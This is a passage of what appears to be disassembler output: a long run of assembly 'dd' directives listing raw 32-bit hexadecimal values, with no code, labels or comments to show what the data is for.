88B116h, 0FA793FBEh, 80B15B9h, 5B595867h dd 6D6F9910h, 0B89844h, 182935DEh, 0CD801FB9h, 373B5602h dd 418FDA78h, 0F7F479A9h, 24EC3D3Fh, 0CA53E503h, 0B6E09F58h dd 50008EE4h, 6E7B3E69h, 0DE294F1Eh, 89021880h, 9F51CDC3h dd 0CE89F48Dh, 3DF43A00h, 16FA616Eh, 4CD3E4C8h, 840E9962h dd 5860811Eh, 69CE46AEh, 844D1B28h, 33B8A100h, 0C73E04AAh dd 0A458C09Ah, 0D46D91C4h, 86DB7301h, 1039D192h, 54229970h dd 97845Ah, 1B255F78h, 5972F3DFh, 0D80FF500h, 75F67FE7h dd 528239E9h, 3E9418A4h, 0FED50D0Eh, 0AF67079Eh, 1AC7C3A5h dd 6C4604F0h, 0B2A85E0Ch, 20BF28FDh, 0B330E920h, 8ADE08D7h dd 0B6EA003Bh, 0B780FCD4h, 400ECFBh, 677B9834h, 1B63CD25h dd 31D910F8h, 0B317C3B0h, 3D11E060h, 7E407C7h, 0FB39804Bh dd 5CFAC1A6h, 301847CCh, 0E723D6C4h, 8BE8031Dh, 0E2FB91B0h dd 0B8D2D9h, 84E0D748h, 5C001044h, 9E42B255h, 312A0204h dd 1728F089h, 0D2518054h, 0A1405765h, 61741F14h, 9EBB0751h dd 33144852h, 3010318Ch, 88BE096Dh, 0D1AED000h, 720BD925h dd 215DF70Ah, 0C0819CFFh, 9A868E97h, 0E2C71080h, 6D9080EFh dd 0D2F76F07h, 1EB00863h, 61D4234h, 8AC8FE67h, 4C31C1E5h dd 22F49A9h, 1ED3EF4h, 96F25128h, 0C415E59Bh, 0F815B7A8h dd 188CD518h, 0D990B6Dh, 0C9920145h, 0EE653FB4h, 5E96D44Bh dd 14063B73h, 95E80A42h, 21911961h, 48783913h, 0D88F8A4h dd 12C80080h, 6F883113h, 7EF40610h, 0E59FCA38h, 0AE80FE40h dd 28C8C1CDh, 4460FF84h, 0BE039EABh, 0A84D3E35h, 7E89A08Fh dd 0D6A20701h, 0A24087EDh, 34441D45h, 39974C30h, 2826C62h dd 390DF4E8h, 0D34057CAh, 8901B84h, 231CC700h, 5B1F255Dh dd 0B7D20060h, 0BFA8B88Fh, 4484E945h, 8500CB41h, 7782A49Fh dd 0FCA67C40h, 0F441F37Ah, 80570E6Dh, 0E2121B61h, 1CEE78CCh dd 56ABC752h, 0C05F0246h, 98821E5Ch, 0D211927h, 0A44892C2h dd 0F01D453Bh, 19D499ECh, 2A51C06Ch, 19DF8034h, 0A0DA10CEh dd 4C0810FFh, 87BD00E8h, 4759DC97h, 1C00C1CBh, 801009B4h dd 91E9E189h, 0C00D0644h, 0C65061C2h, 51C82F9Ch, 0B741814Eh dd 0CC4FC5E0h, 94060985h, 15DCB1E7h, 0C4783428h, 6945E1Dh dd 0A9A512F8h, 9E5FEE09h, 972818C7h, 0F3AB0092h, 1EB27FAEh dd 9B003577h, 0CA3E2CA4h, 9214F6D0h, 7CC700D4h, 7DCFF36Dh dd 0E63ECBCh, 944C19h, 0B6AC66B1h, 0AF9FA3F3h, 0DF16DA00h dd 7F923587h, 598802E8h, 28E70B82h, 60912C68h, 0FB890A64h dd 2A9088h, 0CA805319h, 0E7F6997Bh, 0B40429F2h, 74154C04h dd 91BBDC81h, 1C02E022h, 500922A9h, 0AA4A7448h, 0E44491C0h dd 192FE7h, 0CEB08B68h, 0ABA0755Fh, 1E36F1Fh, 0D7DB0802h dd 0C6D44922h, 0E2005427h, 0DB041FF1h, 0D3EA9232h, 0DE985804h dd 20CAD670h, 59C05048h, 0A7AAE2Eh, 70F80100h, 111423E7h dd 31897FADh, 0EB3041C2h, 82C89055h, 0F8070CD1h, 70F52780h dd 0CEB2E4EDh, 78D3E0A8h, 0D7FD0F09h, 8564A473h, 80C8B331h dd 59A76629h, 0D26336h, 8E947FFh, 0B67BACCFh, 8DA0E26h dd 98E60D67h, 86F8A0F1h, 27AB2484h, 0F8694C78h, 356E822h dd 0D4AF9437h, 719EB34Dh, 2B71D600h, 69A326Ch, 9F7948DCh dd 0A9B6C00Ah, 8EB700E7h, 0C309E2B9h, 0ED00D0A6h, 0BDCB3AD5h dd 0FAB288Dh, 6129A9ECh, 0D46FE6E0h, 8731C8E5h, 0FDB47951h dd 7B381426h, 75733A80h, 0EDE00A21h, 5039DE01h, 0BC56AA4Bh dd 0FB809050h, 0EC1882D9h, 0A01BF3Bh, 70BA63F1h, 93D896BDh dd 0A9A7243Ch, 44171D74h, 921DAD86h, 9A209170h, 2AE9D990h dd 0A1902B36h, 0FA106D44h, 88ABCF59h, 5C8F99E2h, 58387116h dd 0FE2434DBh, 0C706F493h, 3931A9B5h, 5A8045ADh, 0A7353D01h dd 0A018A9Fh, 0B62BEF11h, 808CF88Bh, 7331BBB3h, 0AD257401h dd 876F1422h, 2CD629FCh, 9500C177h, 0C800F09Dh, 2239585Dh dd 6124B1EDh, 996C7C43h, 4484B214h, 0C4006307h, 3581BA4Ah dd 2066F248h, 0D490739Bh, 29046B34h, 761AEEC0h, 5BD40056h dd 33BD4C34h, 6A0AFF22h, 0C86042E7h, 0C8989894h, 6384647Fh dd 6AB1189Ch, 405A6108h, 0F65EFBF8h, 26CC3A0h, 50154E99h dd 0E048AF27h, 41C0CDB3h, 4D19F58Bh, 0EFCA1213h, 95EC48B0h dd 0E3499C8Eh, 0E8F95441h, 0AF5156Ch, 25A8B1A3h, 9193007Ch dd 0E52E0E2Fh, 0B4B252h, 34AC17B0h, 0CA786Eh, 14A88FCCh dd 0C9404559h, 10B0FC5Dh, 9053E925h, 0A6D78000h, 0CD5037B9h dd 2D129273h, 4E002486h, 3A351FE4h, 0D8D84D84h, 60940801h dd 0D1BFF477h, 0B0324Ah, 1011BDC9h, 5E6484h, 72DEDCB8h dd 798FD16Eh, 7D56800Ch, 88CE781Eh, 0DD0AA527h, 0A81F5246h dd 11F83631h, 0B058BC4Dh, 0B16070A8h, 0FEE80874h, 22A0C395h dd 95FD0298h, 0EBDA3CF2h, 0F24270E9h, 20001C4Ah, 0D6A77748h dd 28EFACF8h, 5BFAB13Ch, 0F8135832h, 923020E5h, 0F338FB3Dh dd 600993E7h, 0E8345416h, 51078C80h, 0B4CA1102h, 4B2300CCh dd 46754DD5h, 0FA31EE5Dh, 8BA83E99h, 34221025h, 429D27Dh dd 124440Ch, 0BC38666Ch, 15E6C504h, 62A9EC80h, 47FB30E0h dd 397E5031h, 2900BAF8h, 8706B0AFh, 0C47DF8h, 5A6746CDh dd 849D42B6h, 7C459024h, 27E7189h, 201F4F30h, 6EFB13CEh dd 4A110560h, 586F9E8Ah, 0E922D853h, 8141D06Bh, 0C65CAF64h dd 5A03EC62h, 0EEF4BB6Ah, 0A27C88CCh, 97FBE11Dh, 0A7782385h dd 606A6C88h, 6CB7690Dh, 0C41EBEF4h, 13C07185h, 0B478103Bh dd 0A4BC915Eh, 16B11BCh, 5AECD4C6h, 5184BE5Eh, 401A4C91h dd 0A1E7BC78h, 0AC54A873h, 3AB27464h, 0E407A2EBh, 0E27D4223h dd 6D24D47Eh, 0C3EC88h, 773422F1h, 0EE63B493h, 0E9694002h dd 80E2B8AEh, 917DC784h, 0C4CF00D3h, 26555FE5h, 0FB89F05Ah dd 7AE448h, 128C2C4Ch, 47C9BBF8h, 70059A26h, 0A215FA61h dd 0C31A3036h, 9C6608B9h, 9A00137Eh, 50D20137h, 2D964D6h dd 0BA41702Fh, 0ECECFCCDh, 2B35E700h, 7F1556B8h, 50AD0031h dd 27255DD0h, 97176C81h, 745EA38Eh, 645445B8h, 848C10C4h dd 0CAC8917Eh, 0D404BE8Ch, 0A673B09Fh, 56470F68h, 0D98EC0F1h dd 35ACFEFh, 70155724h, 1DCAB091h, 3E965051h, 0E661EEB0h dd 58A89299h, 0E6806C49h dd 2D03E25Fh, 6B435D12h, 3B3784CCh, 0F602AC65h, 6E13B19Fh dd 71F2F4A7h, 0CA573BE2h, 3059B042h, 0AA997A08h, 1E4100A0h dd 0FD1F5477h, 0B44E01A5h, 442A3048h, 477B40D1h, 368ECDh dd 652EB9F8h, 0C5F16245h, 0AEB2B700h, 0A592F2C6h, 0FB38A0A9h dd 4FC8A8F9h, 7AB60138h, 756C2182h, 92C9D827h, 7CDA8300h dd 41795C14h, 801A5D4Eh, 0D310F80Ch, 68918079h, 0E28DE500h dd 74C915h, 0A1407BEh, 5ACBB75Bh, 93880C3Fh, 285FFAF0h dd 8585CD10h, 7DE8216Fh, 0CEF810E9h, 980600CFh, 4C38FC07h dd 80A9B115h, 2B9458EEh, 23193D0Fh, 0BE95C24Eh, 0CF78201Bh dd 4800737Dh, 1863A913h, 0B16E1DB1h, 0D60B00BCh, 4DC5B6B9h dd 0C9847E01h, 0F543F8A8h, 0C6A315CCh, 51083489h, 8D491018h dd 36BD479h, 0AFC1B7ACh, 0EF80725Ah, 0E20001E0h, 0FF4118D9h dd 906859A6h, 0EC314508h, 5400CD71h, 55C79065h, 746236Bh dd 0A8BC2E25h, 78A4B95Dh, 7DF4CC1Eh, 4462A245h, 40A06A25h dd 2DBF10EEh, 3FF68700h, 3E20E1B3h, 8F6402C1h, 6C84C839h dd 0D2E7ACA1h, 18421C0h, 8ACAB324h, 0CD741D59h, 29D8B407h dd 221E5B03h, 13001A69h, 62B48A02h, 1D7CC627h, 0A9F9763Ch dd 0B5EB05C8h, 0E39C88BAh, 98F19A02h, 4843EE58h, 9D29730h dd 50E1769Dh, 6608490h, 6DDCE08Ah, 1611C00Fh, 17FDD704h dd 6500D1E0h, 457CCAA8h, 0F80E913Dh, 4B64F0B7h, 0D4FC21A2h dd 6C4014ABh, 571D3899h, 0F8F90C09h, 5879C661h, 0B8423745h dd 0D6B3238Fh, 46A23900h, 99D28836h, 0B2F43D61h, 0B4BC0979h dd 84484A78h, 6B6556CAh, 71C088CCh, 16C8EAE2h, 5C416E06h dd 91A41338h, 4911FA00h, 98F005E4h, 0D000AD70h, 0EBC0C99h dd 1BDA99Dh, 0CE9B2749h, 9793857Dh, 7041ADDCh, 1D43D2C4h dd 0CC22C036h, 0C1EB6E00h, 0AC1CA492h, 2AD514F7h, 0D0BC0F5h dd 48B0FDC6h, 632AABC7h, 0FB5CE014h, 0C9F98020h, 5841FA35h dd 8780F8B2h, 0F2268431h, 0DD5AC507h, 14B0E44Ch, 32AD436Eh dd 0A9D18E9Ch, 9E8BDF20h, 57A0B66h, 12822DA3h, 0EC404F25h dd 84A416FAh, 105CB04Fh, 13A0B822h, 31578DBBh, 51D0108h dd 7CA51030h, 5D020005h, 0AAD1B858h, 0D70010B1h, 0F54473D6h dd 0C946DBD4h, 6C442F70h, 4D80D01Ch, 5636AE81h, 9602E923h dd 3E017520h, 34F1000Ch, 0D36CAB92h, 949A1459h, 0F5FC44h dd 7895DEE3h, 0AB111256h, 0EF016FE6h, 82485FFh, 0D73101E7h dd 9CD8E045h, 0F82A0062h, 916E1EEBh, 0E5161F99h, 0A8325D57h dd 1EE86E9Dh, 70C64Ch, 0ADE51BFDh, 783EDD73h, 0C21D7F6Dh dd 690B6371h, 0ABF42256h, 0F46C643Bh, 0C1610355h, 8908FA13h dd 272CCAB4h, 43D0A04Ch, 396B507Bh, 282C8A6Ch, 0E92A4244h dd 5C625510h, 0C0C03C82h, 5CEE49D2h, 3130881Dh, 0A104B100h dd 88E56EB2h, 47288BABh, 15003421h, 1ED7CCD5h, 0B9B3CB4Eh dd 937C0050h, 9A1DB430h, 19652C32h, 9011C31Ch, 9AB6270h dd 0A6F85C99h, 1194F831h, 24325391h, 5C90102Dh, 0E37657CEh dd 60C40810h, 0F5DC204Eh, 3F7F69EEh, 8861A101h, 5F46FD83h dd 5CA2D1F8h, 1580146Ah, 0F1D0DA32h, 0A70001F0h, 31A9CF3Dh dd 4045AC40h, 0B958C6DEh, 7F3CC0D8h, 3597E5Bh, 61EA2239h dd 81284305h, 0C45589Ch, 27E22821h, 6892D0A7h, 1F00B59Fh dd 0E96C42A2h, 4AD9FAE4h, 26B8289Ch, 7E21E506h, 2159A7E0h dd 0C3000725h, 0CB714D64h, 60F8B4FCh, 1CE58EC5h, 5F83303h dd 0F2E4AC9Ch, 0A250F9Dh, 3D820E9h, 0EA16D3D6h, 60207179h dd 1F0A3F60h, 765523Ah, 0D04685ADh, 2456CC7Ch, 0CA275318h dd 9827870h, 9386EF6Bh, 312F04E1h, 643C623Ch, 0F640DCF8h dd 0C8B95F36h, 258DA204h, 4CCC309Fh, 0B7008A6Dh, 0E5396282h dd 0B09E7230h, 0D26999BBh, 0A32C0821h, 1860F889h, 99249178h dd 4AEB0B30h, 0D4F71411h, 6B038BAFh, 9ADCBCBFh, 7338A89Dh dd 0D9771A66h, 6485B807h, 5204E427h, 2236AC02h, 0D89A2DFFh dd 449498D0h, 13002403h, 0E10CA254h, 1A115B78h, 90DA40E3h dd 7680F051h, 0DF50BB0Fh, 791481AAh, 2DFA80A0h, 143D4346h dd 0D0F5ACF7h, 0A808049h, 5BE644FEh, 4BAF3Bh, 0C20665D5h dd 88DCA90h, 1422E8EBh, 0A7604024h, 0EA78E375h, 0CEC706A5h dd 59A161F7h, 120444h, 56F05482h, 29CB5809h, 0B5A8B63Bh dd 0E0CD2030h, 0D68BF4h, 0B9B259F5h, 21FE0C2Ah, 53689501h dd 1F928020h, 0E7A402Dh, 0DE43D077h, 3484ACAh, 0ED3A97C2h dd 0EFE8C793h, 2712C1ECh, 9417F8h, 0E5E900B5h, 64000422h dd 0C53C430Ch, 0F67E5C73h, 0EB185950h, 48EEECE7h, 80A838D1h dd 0C1CE6287h, 7F1D0BE8h, 8498B5A6h, 0E0A471FEh, 7489B300h dd 0B0A346BDh, 5E890F3h, 0B27A1CFAh, 0ED432FDh, 6890DB20h dd 0EADC7AB9h, 0CD6500F2h, 54C79A11h, 0F896EED9h, 5E740D91h dd 498028D1h, 0AEF05702h, 0D2926D6h, 0CAF81868h, 4C707300h dd 0C62DFCFh, 0BB0D00F8h, 8D51CD9Dh, 75175B3Ch, 3448A261h dd 1E8A8CBh, 2DA93F72h, 440EA51Dh, 50F38Ch, 365B9371h dd 3BCF3B0Bh, 0A419874Fh, 291248A9h, 0B4D0933Ch, 0FE4D2232h dd 86E58CDh, 0EA8EB980h, 4E03C8CBh, 38D5EFE8h, 282D86Ch dd 800C94B1h, 0B2957294h, 0C817F0A2h, 0D093E91Dh, 0CF12217h dd 0C8589300h, 4B05B469h, 26090EAFh, 0E5A0F539h, 24CC5E1Ah dd 72A5C220h, 6D1D405Ah, 3410260h, 0FF47B8h, 0FC397FB1h dd 71EB6C59h, 9C5FDC00h, 55BB23A2h, 0B338C9C5h, 72B26468h dd 0CB6C9409h, 8630A1D2h, 4C01D93Ah, 0B6DC508Eh, 9D0165B7h dd 8B2EED8Ch, 53E8EA37h, 1EF90132h, 9B750F56h, 11DC3C80h dd 4458A9C3h, 0E7735CC0h, 1D257BE9h, 2F6404ABh, 5C4800E7h dd 0EEF80722h, 6EE2FD45h, 0AF2903A0h, 0E2EE983h, 11030F0h dd 3C62FCA2h, 0B82740A7h, 0C16004A6h, 19EB26Ch, 0B3684802h dd 0D25F6592h, 4FCC100Bh, 81506234h, 387221C2h, 0C9D544h dd 0F801BDF7h, 0AB20F124h, 707BB500h, 0C8CDFE9Eh, 9CACA5h dd 7336FA46h, 0F2F4F72Bh, 6F7848E2h, 0CA0DD01Fh, 260E5383h dd 20A04F18h, 0EDD3CB18h, 4E03D57Fh, 4B805F0Ah, 0D4A3E59Ah dd 0F3699803h, 0B916AA49h, 84310858h, 0BC326AB3h, 36B13101h dd 7D2E82BEh, 9322C0h, 0AD1AE797h, 11352842h, 25604B4Dh dd 0EE0CA0B5h, 7D3686h, 4377B28h, 5DC1EDDFh, 8CD28B4Ah dd 4248C685h, 8DBB8B5Ah, 8C6C20A2h, 0E802DBD0h, 0D6275259h dd 500F7865h, 5612E054h, 6BA30CCFh, 0E030B8FAh, 0C402F4DFh dd 13BFB5FEh, 71458ABh, 0F07217CFh, 0F47002F8h, 6A60F87Ah dd 0FE312459h, 4570BFF2h, 404CF25h, 43454074h, 458AE061h dd 78CAF8A9h, 6238128h, 7AE0E8D1h, 0E3D71F59h, 2514029Eh dd 2490FDB3h, 11057E77h, 0F62D5849h, 2EC09894h, 6F010CCh dd 0F2995A9Ah, 3C08D8C4h, 93FDE80Ah, 0CA1482E6h, 0A3EE3C68h dd 0B5776205h, 38E06185h, 0D2E08B04h, 59F454EBh, 34A6F82Eh dd 0B940FFC4h, 3ABE802Ch, 0D85E59D6h, 9409CF49h, 682B008Ch dd 41162C02h, 6099A3Ah, 59A61CF0h, 226480E0h, 8252B99Eh dd 42533B03h, 0B0F7C8CEh, 496275F4h, 320E202Ch, 0D053104Ch dd 0E3BCDD1Ch, 48304A00h, 0AA5B4976h, 3C1200BBh, 0D1726A2Eh dd 4A4C9E6Eh, 7CCF801Ch, 454E2Fh, 9C9785C1h, 9A78F9C2h dd 0FDEB4A12h, 240024B7h, 0D552C44Bh, 0BD00E958h, 0F44FB54Eh dd 9CE705Dh, 16894421h dd 9009B88Bh, 5942F0E4h, 98649D25h, 0DA6FBB04h, 0A7A80C72h dd 0AA808C13h, 5844E012h, 805296ECh, 0D9F2A514h, 991B5D30h dd 264DA933h, 485C51BEh, 137F0018h, 0B5AAC337h, 48019978h dd 0AE598CA6h, 352A1F56h, 589CD1A0h, 5040140Dh, 0DA307DC8h dd 205F804h, 35B910A9h, 0EB244D47h, 588614A9h, 2F5808ACh dd 0E0138720h, 1C0125C8h, 2165B9D7h, 839C2D98h, 0F1F245CAh dd 6C36E9E2h, 32DC4800h, 0C9FFF7A3h, 948FE300h, 7EFC74ACh dd 0B33061Ah, 51DE1888h, 2595EE22h, 30EE2991h, 0C24E0098h dd 5FAB3098h, 1AC2521h, 0E04162DCh, 73B8416Ah, 8974786Dh dd 79B8E8E8h, 69C20031h, 0E2225296h, 8630830Eh, 0F8EB697Bh dd 7CCA5113h, 120A93F4h, 0B1420809h, 0F426E8h, 797719A2h dd 0E5BBFC5h, 178DAD02h, 8F92D740h, 0F4BACB88h, 0BBDB9404h dd 78B6F8A5h, 54C54D25h, 4A629207h, 0C8DD4BF0h, 6115009Bh dd 4C7F36Fh, 0B08176FBh, 4C013C77h, 6414A149h, 0F07761h dd 0C865A2A3h, 185B97A7h, 0D86B4822h, 404B81C3h, 28880864h dd 1D5829ABh, 9E289C0h, 6461BC98h, 462C7201h, 0B502DB0Ah dd 16E9FCE8h, 0C89BFA17h, 0F700F09Ch, 31872640h, 1FE1CFh dd 922164C9h, 0AC067351h, 0E4304309h, 4D78C8B2h, 0F90A2535h dd 0A8C10CEAh, 6ED4E470h, 7BC368A2h, 721B8C90h, 4DE11501h dd 795014A0h, 7D4C212Fh, 165810E9h, 93ACB6F2h, 807CA27Fh dd 0BCA09AC2h, 0C8F80E02h, 0CC804D65h, 516E5FA7h, 63AB99C0h dd 9910EE43h, 9468A504h, 0FA886D80h, 0F1CF4517h, 80B8798Ah dd 7060AA0Ah, 0FCC82C41h, 0C782C038h, 8D027E05h, 3D14336Dh dd 80D871DAh, 51574A99h, 461C1D79h, 9D828C5Fh, 44BAB192h dd 4F531CD0h, 8468845Dh, 0D9508C4Bh, 83E090A0h, 8A326107h dd 330E116h, 4A6D8629h, 71A0D125h, 68402EE9h, 78DF2DE2h dd 3B7F00BBh, 6705A08h, 0C64AE4F8h, 4B6D898h, 157AEFA1h dd 5EDC14E7h, 5BB04862h, 2FA28124h, 0D1D911D7h, 8702125h dd 380BF994h, 38B1164Ch, 43C6294h, 4832AA01h, 4E9C92B5h dd 0EC807865h, 403FE37Ch, 1A363D87h, 0E2935084h, 5CC24A2Fh dd 11DE02Ch, 0FCC63022h, 0ED69FE19h, 0BB7DB109h, 1A281092h dd 0D493025Bh, 6021A650h, 240298FBh, 0C07A612Ah, 138D405h dd 987F6E14h, 2D843082h, 0C4F1174h, 5DA87801h, 4CB9646Eh dd 0EE02CBE0h, 5BD56637h, 4C804450h, 1C8044B5h, 5A95301Fh dd 0B12BDF26h, 0C9B11504h, 285F40A9h, 7D722D80h, 0D50B8398h dd 1B96E8h, 0F3DBDC48h, 0C04094AEh, 0F9F16880h, 0B434BD01h dd 0CAAEC010h, 58A1ECh, 9771DAC9h, 4FA92203h, 0FB132CB9h dd 0B221A820h, 0B6FA1A38h, 0B80B109Bh, 0B25FA898h, 7E492600h dd 6BD24C3Eh, 524B12C7h, 0F694526Ah, 0FC304E78h, 0BAE01C3h dd 856CD47Eh, 6173DC81h, 7889FAF8h, 416DEC06h, 475D5400h dd 7FBEAB12h, 7CF0990h, 0F459986Ch, 7D90D8ABh, 9CF98C8h dd 48401293h, 4BBC7100h, 0FE1C02F8h, 78E6194Ch, 88F5C200h dd 7291696Fh, 80D003EAh, 0B4BFAE60h, 0C8DCD3A8h, 0CA3042F3h dd 0B094F05Ah, 9E82040h, 0D12A2DA4h, 0FFEE3822h, 2E42FE20h dd 0B0C9113h, 6C102BEFh, 152D3786h, 0B64A194h, 506D26EEh dd 0C84BE058h, 6600F48Ch, 6D3F21B4h, 0FA5B42h, 158946BDh dd 1EDC99F2h, 0FB5838C7h, 4A3FC20h, 0A0625137h, 0CA2C622Fh dd 8D5B3220h, 22DC902Ch, 4344B2EDh, 0A400244h, 0CB72BC19h dd 8D2C069h, 8720881Ah, 56FD4400h, 9B0133C8h, 2EB28F6h dd 2F904580h, 0BD0C4820h, 0A1F900C3h, 83BE9DCBh, 63D017Bh dd 455215Dh, 0F2022791h, 38FE2F2Ch, 0C11E21F0h, 64C46221h dd 3F48406Bh, 0F4EEEAE4h, 0BA4EC001h, 0FC982308h, 0E19DB852h dd 0FE109254h, 3C2D99A1h, 0F1C092FBh, 95980018h, 0A8BFE142h dd 48A04D70h, 0B197FDCDh, 4C627E58h, 1C6200D3h, 0E75B278Ch dd 0EF56C600h, 43E4C5A2h, 0FB60924Ch, 913C612Eh, 129C7360h dd 28A4E7A1h, 371B4527h, 0D1630190h, 94AA8B2h, 10131052h dd 0B29D84BBh, 4448FA94h, 80002A0Dh, 0F9C23D81h, 39B53233h dd 0F2813A3Fh, 543B4CB1h, 22C4291Dh, 4F8B0090h, 47BBB42Ch dd 0C4030C79h, 9B13DBBCh, 4DB12921h, 805A1048h, 11C54325h dd 4F4CB884h, 0CFAC98C9h, 8D47CA07h, 0D9C09883h, 0F290E4DAh dd 0FA40C545h, 4BB0F610h, 0D7CD9420h, 16FD3046h, 50362281h dd 94324A89h, 77CEB500h, 7CADE561h, 2ED17D00h, 90B1391Dh dd 773E2AFh, 0FB3521AAh, 0B980086Bh, 0E4EB4166h, 16E89E01h dd 96482219h, 86814428h, 1CF89DE5h, 0AFB4602Eh, 2053D54h dd 0D8888616h, 0C6B410C0h, 385D25C8h, 0FC13A448h, 0AC201D41h dd 4CD940E6h, 9A000099h, 0A549E297h, 0B21D038Bh, 36CFF425h dd 72D3EDA8h, 0E90D58C2h, 60B45CAAh, 0AEC3F87h, 0E04CB49Eh dd 4E37880Eh, 49DFDB00h, 81A5DC6Ch, 87C002A0h, 3B9CAEC1h dd 34942C56h, 30498AA8h, 0F94A6607h, 8AC67A80h, 9D10006Ah dd 50A5F235h, 0E705068Dh, 0E5765369h, 0D1C964A8h, 8AF344B0h dd 76430C3Ah, 88CBB100h, 64E5037Dh, 7CD8F68Fh, 0B7D4FFEFh dd 0A43E1C61h, 40874193h, 0F4441E76h, 20A0B8E6h, 8DE332Eh dd 5C424EDDh, 60EAA082h, 7BBB6DE6h, 0D6CC1EDBh, 934303F2h dd 0EEBB4A02h, 0D482611Dh, 6A28CBFh, 0E30B5861h, 0C0F56312h dd 0E48DAB42h, 0ADAF1FAAh, 10570CF6h, 378805C0h, 61FA0C45h dd 0C100FF0h, 61EB8D31h, 26D092FCh, 1090616Ch, 88476DF3h dd 6033FE68h, 5606D16Bh, 6012E118h, 50446619h, 40961C72h dd 4452946h, 68EC6891h, 11321C50h, 0CB14A2FDh, 8B811EAh dd 6E331B63h, 98C86193h, 1B0ACBB9h, 0C48B462Dh, 0E8E16303h dd 5BF9202Fh, 3D8C3818h, 0C1F1D869h, 0CD265359h, 2994EC27h dd 0C784E203h, 11F66123h, 0A97369h, 0B157A004h, 0CAE9E6Fh dd 2628EF96h, 7E031151h, 528D3C39h, 7DCBF093h, 0B79502F6h dd 0AE665527h, 0E68C7420h, 0E19D2A97h, 320C67Ch, 670069A8h dd 2D9CD409h, 0CC789C6h, 0E2D665B3h, 2200C1B1h, 6CEBA78Ch dd 30111550h, 7D49478Bh, 5E03108Dh, 8AEC6638h, 3B190008h dd 5EE6B59h, 2F00DA7Ah, 0FBD1A918h, 3078337Fh, 3828447Eh dd 0D1C00DE3h, 9314641Bh, 0AD5202E7h, 8F53920Ch, 1211D091h dd 0BF80902Eh, 5AC601D8h, 0DB8805E8h, 0BE33C0C1h, 2844BC00h dd 9174EBE2h, 60267261h, 8838E995h, 0C8A9F66Ch, 0C82213E4h dd 385BBA7h, 897FCAEBh, 0DDD0A82Eh, 3800B010h, 94123359h dd 3D7CE378h, 0D918EC67h, 9663893Ah, 0A6D2F00Ch, 4410788Bh dd 90446F77h, 0EA2F1271h, 0C614423Eh, 0C4442B19h, 5AEF1813h dd 51413C1Ch, 871CB3EBh, 98B897C0h, 0B0A0C2Dh, 8A484635h dd 7E841054h, 5CF4A600h, 0B23A47EBh, 727A092Bh, 45809109h dd 0E07B623Fh, 0A7DFC00Dh, 39B99075h, 84250783h, 0E0A7BA45h dd 3619390Fh, 684B8828h, 31108C00h, 0A8F06E37h, 0B3BE027Eh dd 946B3339h, 0B0590520h, 45F0018Bh, 104B8EC9h, 5F982039h dd 0C15B88h, 0FBDF7571h, 37C438EBh, 948230A2h, 0F7818E9Fh dd 0B8854D30h, 27FF0748h, 2390698Fh, 8D0862h, 0AAB66393h dd 0F9D6E009h, 7C12A679h, 64602AE1h, 0A8610AFFh, 24B50CA8h dd 841C8EE0h, 4854BE2Ah, 7825803Dh, 86FEBCB9h, 33E45D00h dd 0EA2C1E34h, 5FEC0170h, 0A4F8E84h, 0E0243012h, 0A5FF5404h dd 20C8D676h, 446B00BAh dd 5806F665h, 78038E59h, 81F3AA61h, 2C77E984h, 48389024h dd 88070C1h, 8F752970h, 64ACE026h, 0CA6DB301h, 78336433h dd 0E1B16602h, 2E233729h, 57410038h, 0B12203DCh, 9C139071h dd 14206B44h, 3FAD8005h, 61E02963h, 8C35C55Eh, 10435904h dd 68004485h, 6A272BAEh, 0EF51331Eh, 0FCB84E03h, 42D3F2h dd 29240569h, 9497B915h, 0C44EA200h, 20349001h, 426E0F23h dd 0DD9C2960h, 0ADF7C0BEh, 0DF2CCF45h, 31EBFBE6h, 0E5D0F4D0h dd 8A0D931Fh, 0C4368B44h, 4040F48Dh, 0A6FB10E1h, 0B48880DCh dd 0BA360121h, 54A905B6h, 31824F7h, 2CC12060h, 5AF15Ch dd 28A23A5Fh, 52B55E80h, 44A14502h, 802908B9h, 7CCA3964h dd 0FAC80082h, 9F5981C9h, 0BA0153FFh, 988B1EFCh, 4C628755h dd 0CED93A00h, 1D90CC7Ch, 2154F74Ch, 0DD8D906Bh, 0A60C8F85h dd 10425C89h, 595C4488h, 28994C63h, 25E611ECh, 0B30C5C23h dd 0D2613D03h, 808AEE3Fh, 85920EADh, 0A38C2h, 58C3BDD5h dd 0B590AB35h, 4C79763Fh, 785A2CB4h, 507A14h, 78139805h dd 24AD7C17h, 4334146Dh, 0B9003C2Eh, 540FBA72h, 0F0F19856h dd 2396001Eh, 3AE85104h, 0C5018895h, 0E0D09CC3h, 0A9856326h dd 802B032h, 0A8A44BE0h, 963D9011h, 949F9B89h, 320248Ch dd 5C26E8C4h, 1D7D6340h, 9B0C4DF0h, 2810395Bh, 0FFB8C235h dd 0E86427EFh, 5C1F5D0Bh, 958881AEh, 35EC6FF9h, 0C81E003Eh dd 0FC365EAh, 84B04B02h, 33E23611h, 19C08058h, 35183E03h dd 3F293C1Eh, 0C6C12100h, 3DBA2A1Ch, 0BAF9FB3Ah, 11A3200Ch dd 49142E31h, 4630A76Ch, 0A29C0F4Eh, 0DD40B0AEh, 1F719209h dd 77264609h, 26EC2F45h, 40188F32h, 1E9DB60h, 0F980368Ah dd 86C5B704h, 8400BC34h, 0C1C04971h, 0DEF480h, 8FD6AF3Eh dd 0B7643DA9h, 88379B0Ch, 247D890Eh, 60C8F094h, 0FB1E1B38h dd 0B6B30900h, 7A156389h, 463E1CCBh, 21C40199h, 6043B488h dd 0B0B5D6Ch, 99471F29h, 8700F868h, 0E8073C17h, 0D864A77Eh dd 5615B680h, 0A5B7038Fh, 0AB3AF6D9h, 0C903CFA7h, 19008ABFh dd 56DEA8E4h, 0DA7419h, 154F5F25h, 376720Bh, 34064C90h dd 0B288607Dh, 9C871830h, 636649B9h, 0C4916500h, 725A74A0h dd 0A7CF0C40h, 0F380D724h, 0C97DC306h, 0C309E3Fh, 0B458A2A5h dd 4B3C1749h, 0AE5718A7h, 80DA1659h, 6B00121Eh, 43BE3FC1h dd 8FD769h, 28B85B3Dh, 0A911D78h, 61822006h, 0C98EBEh dd 0E539ED5Ch, 0BD50DCCBh, 0F85570A0h, 80FFF33Eh, 0E9F1099Bh dd 72B885h, 513EE3B3h, 1DB62084h, 3DCA240Ch, 0F9C0A9A9h dd 581E4183h, 97F07766h, 0B80A2662h, 689A2AC9h, 86C07608h dd 19D621C6h, 4424D03Ah, 0BC2B1F8Dh, 0D3AD8005h, 0A9BE3CA7h dd 21BF5B31h, 4E304BAFh, 0CFB41D3Dh, 0C274017Dh, 41A0CC0Eh dd 12AE6198h, 5B5080C3h, 0A099DAh, 0E69C2EB9h, 0EC4605B5h dd 